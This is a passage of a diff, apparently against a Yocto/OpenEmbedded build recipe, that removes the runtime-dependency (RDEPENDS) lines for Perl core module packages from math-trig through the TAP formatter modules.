-RDEPENDS_perl-module-math-trig += "perl-module-strict"
-RDEPENDS_perl-module-metadata += "perl-module-version"
-RDEPENDS_perl-module-memoize-anydbm-file += "perl-module-vars"
-RDEPENDS_perl-module-memoize += "perl-module-config"
-RDEPENDS_perl-module-memoize += "perl-module-exporter"
-RDEPENDS_perl-module-memoize += "perl-module-strict"
-RDEPENDS_perl-module-memoize += "perl-module-vars"
-RDEPENDS_perl-module-memoize-sdbm-file += "perl-module-sdbm-file"
-RDEPENDS_perl-module-memoize-storable += "perl-module-storable"
-RDEPENDS_perl-module-mime-base64 += "perl-module-exporter"
-RDEPENDS_perl-module-mime-base64 += "perl-module-strict"
-RDEPENDS_perl-module-mime-base64 += "perl-module-vars"
-RDEPENDS_perl-module-mime-base64 += "perl-module-xsloader"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-exporter"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-mime-base64"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-strict"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-vars"
-RDEPENDS_perl-module-mro += "perl-module-strict"
-RDEPENDS_perl-module-mro += "perl-module-warnings"
-RDEPENDS_perl-module-mro += "perl-module-xsloader"
-RDEPENDS_perl-module-net-cmd += "perl-module-constant"
-RDEPENDS_perl-module-net-cmd += "perl-module-errno"
-RDEPENDS_perl-module-net-cmd += "perl-module-exporter"
-RDEPENDS_perl-module-net-cmd += "perl-module-strict"
-RDEPENDS_perl-module-net-cmd += "perl-module-warnings"
-RDEPENDS_perl-module-net-config += "perl-module-exporter"
-RDEPENDS_perl-module-net-config += "perl-module-socket"
-RDEPENDS_perl-module-net-config += "perl-module-strict"
-RDEPENDS_perl-module-net-config += "perl-module-warnings"
-RDEPENDS_perl-module-net-domain += "perl-module-exporter"
-RDEPENDS_perl-module-net-domain += "perl-module-net-config"
-RDEPENDS_perl-module-net-domain += "perl-module-posix"
-RDEPENDS_perl-module-net-domain += "perl-module-socket"
-RDEPENDS_perl-module-net-domain += "perl-module-strict"
-RDEPENDS_perl-module-net-domain += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-net-ftp-dataconn"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-errno"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-net-ftp-i"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-net-ftp-dataconn"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-net-ftp-i"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp += "perl-module-constant"
-RDEPENDS_perl-module-net-ftp += "perl-module-fcntl"
-RDEPENDS_perl-module-net-ftp += "perl-module-file-basename"
-RDEPENDS_perl-module-net-ftp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-ftp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-config"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-ftp-a"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-netrc"
-RDEPENDS_perl-module-net-ftp += "perl-module-socket"
-RDEPENDS_perl-module-net-ftp += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp += "perl-module-time-local"
-RDEPENDS_perl-module-net-ftp += "perl-module-warnings"
-RDEPENDS_perl-module-net-hostent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-hostent += "perl-module-exporter"
-RDEPENDS_perl-module-net-hostent += "perl-module-socket"
-RDEPENDS_perl-module-net-hostent += "perl-module-strict"
-RDEPENDS_perl-module-net-netent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-netent += "perl-module-exporter"
-RDEPENDS_perl-module-net-netent += "perl-module-socket"
-RDEPENDS_perl-module-net-netent += "perl-module-strict"
-RDEPENDS_perl-module-net-netrc += "perl-module-filehandle"
-RDEPENDS_perl-module-net-netrc += "perl-module-strict"
-RDEPENDS_perl-module-net-netrc += "perl-module-warnings"
-RDEPENDS_perl-module-net-nntp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-nntp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-nntp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-nntp += "perl-module-net-config"
-RDEPENDS_perl-module-net-nntp += "perl-module-strict"
-RDEPENDS_perl-module-net-nntp += "perl-module-time-local"
-RDEPENDS_perl-module-net-nntp += "perl-module-warnings"
-RDEPENDS_perl-module-net-ping += "perl-module-constant"
-RDEPENDS_perl-module-net-ping += "perl-module-exporter"
-RDEPENDS_perl-module-net-ping += "perl-module-fcntl"
-RDEPENDS_perl-module-net-ping += "perl-module-filehandle"
-RDEPENDS_perl-module-net-ping += "perl-module-io-socket-inet"
-RDEPENDS_perl-module-net-ping += "perl-module-posix"
-RDEPENDS_perl-module-net-ping += "perl-module-socket"
-RDEPENDS_perl-module-net-ping += "perl-module-strict"
-RDEPENDS_perl-module-net-ping += "perl-module-time-hires"
-RDEPENDS_perl-module-net-pop3 += "perl-module-io-socket"
-RDEPENDS_perl-module-net-pop3 += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-pop3 += "perl-module-mime-base64"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-config"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-netrc"
-RDEPENDS_perl-module-net-pop3 += "perl-module-strict"
-RDEPENDS_perl-module-net-pop3 += "perl-module-warnings"
-RDEPENDS_perl-module-net-protoent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-protoent += "perl-module-exporter"
-RDEPENDS_perl-module-net-protoent += "perl-module-strict"
-RDEPENDS_perl-module-net-servent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-servent += "perl-module-exporter"
-RDEPENDS_perl-module-net-servent += "perl-module-strict"
-RDEPENDS_perl-module-net-smtp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-smtp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-smtp += "perl-module-mime-base64"
-RDEPENDS_perl-module-net-smtp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-smtp += "perl-module-net-config"
-RDEPENDS_perl-module-net-smtp += "perl-module-socket"
-RDEPENDS_perl-module-net-smtp += "perl-module-strict"
-RDEPENDS_perl-module-net-smtp += "perl-module-warnings"
-RDEPENDS_perl-module-net-time += "perl-module-exporter"
-RDEPENDS_perl-module-net-time += "perl-module-io-select"
-RDEPENDS_perl-module-net-time += "perl-module-io-socket"
-RDEPENDS_perl-module-net-time += "perl-module-net-config"
-RDEPENDS_perl-module-net-time += "perl-module-strict"
-RDEPENDS_perl-module-net-time += "perl-module-warnings"
-RDEPENDS_perl-module-next += "perl-module-overload"
-RDEPENDS_perl-module-next += "perl-module-strict"
-RDEPENDS_perl-module-next += "perl-module-warnings"
-RDEPENDS_perl-module-ok += "perl-module-strict"
-RDEPENDS_perl-module-ok += "perl-module-test-more"
-RDEPENDS_perl-module-opcode += "perl-module-exporter"
-RDEPENDS_perl-module-opcode += "perl-module-strict"
-RDEPENDS_perl-module-opcode += "perl-module-subs"
-RDEPENDS_perl-module-opcode += "perl-module-xsloader"
-RDEPENDS_perl-module-open += "perl-module-encode"
-RDEPENDS_perl-module-open += "perl-module-encoding"
-RDEPENDS_perl-module-open += "perl-module-warnings"
-RDEPENDS_perl-module-o += "perl-module-b"
-RDEPENDS_perl-module-ops += "perl-module-opcode"
-RDEPENDS_perl-module-overloading += "perl-module-overload-numbers"
-RDEPENDS_perl-module-overloading += "perl-module-warnings"
-RDEPENDS_perl-module-overload += "perl-module-mro"
-RDEPENDS_perl-module-overload += "perl-module-warnings-register"
-RDEPENDS_perl-module-overload += "perl-module-overloading"
-RDEPENDS_perl-module-params-check += "perl-module-exporter"
-RDEPENDS_perl-module-params-check += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-params-check += "perl-module-strict"
-RDEPENDS_perl-module-params-check += "perl-module-vars"
-RDEPENDS_perl-module-parent += "perl-module-strict"
-RDEPENDS_perl-module-parent += "perl-module-vars"
-RDEPENDS_perl-module-perlfaq += "perl-module-strict"
-RDEPENDS_perl-module-perlfaq += "perl-module-warnings"
-RDEPENDS_perl-module-perlio-encoding += "perl-module-strict"
-RDEPENDS_perl-module-perlio-encoding += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-strict"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-warnings"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-scalar += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-via += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-via-quotedprint += "perl-module-mime-quotedprint"
-RDEPENDS_perl-module-perlio-via-quotedprint += "perl-module-strict"
-RDEPENDS_perl-module-pod-checker += "perl-module-base"
-RDEPENDS_perl-module-pod-checker += "perl-module-exporter"
-RDEPENDS_perl-module-pod-checker += "perl-module-strict"
-RDEPENDS_perl-module-pod-checker += "perl-module-warnings"
-RDEPENDS_perl-module-pod-escapes += "perl-module-exporter"
-RDEPENDS_perl-module-pod-escapes += "perl-module-strict"
-RDEPENDS_perl-module-pod-escapes += "perl-module-vars"
-RDEPENDS_perl-module-pod-escapes += "perl-module-warnings"
-RDEPENDS_perl-module-pod-find += "perl-module-config"
-RDEPENDS_perl-module-pod-find += "perl-module-cwd"
-RDEPENDS_perl-module-pod-find += "perl-module-exporter"
-RDEPENDS_perl-module-pod-find += "perl-module-file-find"
-RDEPENDS_perl-module-pod-find += "perl-module-strict"
-RDEPENDS_perl-module-pod-find += "perl-module-vars"
-RDEPENDS_perl-module-pod-functions += "perl-module-exporter"
-RDEPENDS_perl-module-pod-functions += "perl-module-strict"
-RDEPENDS_perl-module-pod-inputobjects += "perl-module-strict"
-RDEPENDS_perl-module-pod-inputobjects += "perl-module-vars"
-RDEPENDS_perl-module-pod-man += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-man += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-man += "perl-module-strict"
-RDEPENDS_perl-module-pod-man += "perl-module-subs"
-RDEPENDS_perl-module-pod-man += "perl-module-vars"
-RDEPENDS_perl-module-pod-man += "perl-module-warnings"
-RDEPENDS_perl-module-pod-parselink += "perl-module-exporter"
-RDEPENDS_perl-module-pod-parselink += "perl-module-strict"
-RDEPENDS_perl-module-pod-parselink += "perl-module-vars"
-RDEPENDS_perl-module-pod-parselink += "perl-module-warnings"
-RDEPENDS_perl-module-pod-parser += "perl-module-exporter"
-RDEPENDS_perl-module-pod-parser += "perl-module-pod-inputobjects"
-RDEPENDS_perl-module-pod-parser += "perl-module-strict"
-RDEPENDS_perl-module-pod-parser += "perl-module-vars"
-RDEPENDS_perl-module-pod-parseutils += "perl-module-strict"
-RDEPENDS_perl-module-pod-parseutils += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-config"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-getoptsoo += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-getoptsoo += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-config"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-encode"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-fcntl"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-file-temp"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-pod-perldoc-getoptsoo"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-text-parsewords"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-pod-text-color"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-pod-checker"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-encode"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-io-handle"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-io-select"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-ipc-open3"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-pod-man"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-pod-perldoc-topod"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-pod-man"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-pod-text-termcap"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-warnings"
-RDEPENDS_perl-module-pod-plaintext += "perl-module-pod-select"
-RDEPENDS_perl-module-pod-plaintext += "perl-module-strict"
-RDEPENDS_perl-module-pod-plaintext += "perl-module-vars"
-RDEPENDS_perl-module-pod-select += "perl-module-pod-parser"
-RDEPENDS_perl-module-pod-select += "perl-module-strict"
-RDEPENDS_perl-module-pod-select += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-pod-simple-transcode"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-pod-simple-methody"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-dumpastext += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-dumpastext += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-overload"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-pod-simple-blackbox"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-escapes"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-blackbox"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-linksection"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-tiedoutfh"
-RDEPENDS_perl-module-pod-simple += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-progress += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserendtoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserstarttoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparsertexttoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparsertoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-pod-simple-pullparser"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-config"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-cwd"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-pod-simple-methody"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-tiedoutfh += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-tiedoutfh += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcodedumb += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcodedumb += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcode += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcode += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-encode"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-color += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-color += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-color += "perl-module-term-ansicolor"
-RDEPENDS_perl-module-pod-text-color += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-color += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text += "perl-module-encode"
-RDEPENDS_perl-module-pod-text += "perl-module-exporter"
-RDEPENDS_perl-module-pod-text += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-text += "perl-module-strict"
-RDEPENDS_perl-module-pod-text += "perl-module-vars"
-RDEPENDS_perl-module-pod-text += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-posix"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-term-cap"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-warnings"
-RDEPENDS_perl-module-pod-usage += "perl-module-config"
-RDEPENDS_perl-module-pod-usage += "perl-module-exporter"
-RDEPENDS_perl-module-pod-usage += "perl-module-strict"
-RDEPENDS_perl-module-pod-usage += "perl-module-vars"
-RDEPENDS_perl-module-posix += "perl-module-exporter"
-RDEPENDS_perl-module-posix += "perl-module-fcntl"
-RDEPENDS_perl-module-posix += "perl-module-strict"
-RDEPENDS_perl-module-posix += "perl-module-tie-hash"
-RDEPENDS_perl-module-posix += "perl-module-warnings"
-RDEPENDS_perl-module-posix += "perl-module-xsloader"
-RDEPENDS_perl-module-re += "perl-module-exporter"
-RDEPENDS_perl-module-re += "perl-module-strict"
-RDEPENDS_perl-module-re += "perl-module-term-cap"
-RDEPENDS_perl-module-re += "perl-module-warnings"
-RDEPENDS_perl-module-re += "perl-module-xsloader"
-RDEPENDS_perl-module-safe += "perl-module-b"
-RDEPENDS_perl-module-safe += "perl-module-opcode"
-RDEPENDS_perl-module-safe += "perl-module-strict"
-RDEPENDS_perl-module-safe += "perl-module-utf8"
-RDEPENDS_perl-module-scalar-util += "perl-module-carp"
-RDEPENDS_perl-module-scalar-util += "perl-module-exporter"
-RDEPENDS_perl-module-scalar-util += "perl-module-list-util"
-RDEPENDS_perl-module-scalar-util += "perl-module-strict"
-RDEPENDS_perl-module-scalar-util += "perl-module-warnings"
-RDEPENDS_perl-module-sdbm-file += "perl-module-exporter"
-RDEPENDS_perl-module-sdbm-file += "perl-module-strict"
-RDEPENDS_perl-module-sdbm-file += "perl-module-tie-hash"
-RDEPENDS_perl-module-sdbm-file += "perl-module-warnings"
-RDEPENDS_perl-module-sdbm-file += "perl-module-xsloader"
-RDEPENDS_perl-module-search-dict += "perl-module-exporter"
-RDEPENDS_perl-module-search-dict += "perl-module-feature"
-RDEPENDS_perl-module-search-dict += "perl-module-strict"
-RDEPENDS_perl-module-selfloader += "perl-module-exporter"
-RDEPENDS_perl-module-selfloader += "perl-module-io-handle"
-RDEPENDS_perl-module-selfloader += "perl-module-strict"
-RDEPENDS_perl-module-socket += "perl-module-exporter"
-RDEPENDS_perl-module-socket += "perl-module-strict"
-RDEPENDS_perl-module-socket += "perl-module-warnings-register"
-RDEPENDS_perl-module-socket += "perl-module-xsloader"
-RDEPENDS_perl-module-sort += "perl-module-strict"
-RDEPENDS_perl-module-storable += "perl-module-exporter"
-RDEPENDS_perl-module-storable += "perl-module-io-file"
-RDEPENDS_perl-module-storable += "perl-module-xsloader"
-RDEPENDS_perl-module-sub-util += "perl-module-exporter"
-RDEPENDS_perl-module-sub-util += "perl-module-list-util"
-RDEPENDS_perl-module-sub-util += "perl-module-strict"
-RDEPENDS_perl-module-sub-util += "perl-module-warnings"
-RDEPENDS_perl-module-sys-hostname += "perl-module-exporter"
-RDEPENDS_perl-module-sys-hostname += "perl-module-posix"
-RDEPENDS_perl-module-sys-hostname += "perl-module-strict"
-RDEPENDS_perl-module-sys-hostname += "perl-module-warnings"
-RDEPENDS_perl-module-sys-hostname += "perl-module-xsloader"
-RDEPENDS_perl-module-sys-syslog += "perl-module-config"
-RDEPENDS_perl-module-sys-syslog += "perl-module-constant"
-RDEPENDS_perl-module-sys-syslog += "perl-module-dynaloader"
-RDEPENDS_perl-module-sys-syslog += "perl-module-exporter"
-RDEPENDS_perl-module-sys-syslog += "perl-module-fcntl"
-RDEPENDS_perl-module-sys-syslog += "perl-module-file-basename"
-RDEPENDS_perl-module-sys-syslog += "perl-module-posix"
-RDEPENDS_perl-module-sys-syslog += "perl-module-socket"
-RDEPENDS_perl-module-sys-syslog += "perl-module-strict"
-RDEPENDS_perl-module-sys-syslog += "perl-module-sys-hostname"
-RDEPENDS_perl-module-sys-syslog += "perl-module-vars"
-RDEPENDS_perl-module-sys-syslog += "perl-module-warnings"
-RDEPENDS_perl-module-sys-syslog += "perl-module-warnings-register"
-RDEPENDS_perl-module-sys-syslog += "perl-module-xsloader"
-RDEPENDS_perl-module-tap-base += "perl-module-base"
-RDEPENDS_perl-module-tap-base += "perl-module-constant"
-RDEPENDS_perl-module-tap-base += "perl-module-strict"
-RDEPENDS_perl-module-tap-base += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-base += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-tap-formatter-color"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-constant"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-constant"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-file-path"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-tap-formatter-file-session"
